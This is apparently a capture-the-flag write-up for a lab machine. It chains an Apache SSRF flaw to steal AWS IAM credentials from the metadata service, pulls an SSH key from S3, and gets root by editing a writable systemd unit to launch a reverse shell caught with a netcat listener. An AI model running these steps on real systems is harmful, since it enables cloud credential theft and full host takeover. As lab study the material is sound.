IAM Writeup

Enumeration

curl -I 172.16.10.21

This Apache version is vulnerable to SSRF.

https://firzen.de/building-a-poc-for-cve-2021-40438

After that, we listed the /latest directory.

Then the /iam directory.

Then inside /security-credentials.

Finally, in MACHINE_IAM_ROLE

With that, we have access to the AWS keys.

Foot Hold

With the credentials, it was possible to log into the application using aws-cli.

export AWS_ACCESS_KEY_ID=
export AWS_SECRET_ACCESS_KEY=
export AWS_SESSION_TOKEN=

Listing the bucket, we can grab the first flag and the SSH key for the op user.

aws s3 ls s3://machine-iam-bucket
aws s3 cp s3://machina-iam-bucket/op-user-key.pem .

chmod 600 op-user-key.pem
ssh op@172.16.10.21 -i op-user-key.pem

Privilege Escalation

sudo -l

We can run httpd and daemon-reload as root without a password.

Looking at the httpd service configuration file, we have write permissions, which we can use to gain root access on the machine.

nano /usr/lib/systemd/system/httpd.service

We modify the ExecStart line to spawn a reverse shell when we restart the service.

After that, just activate the listener and run the command sudo /bin/systemctl restart httpd

nc -lnvp 1337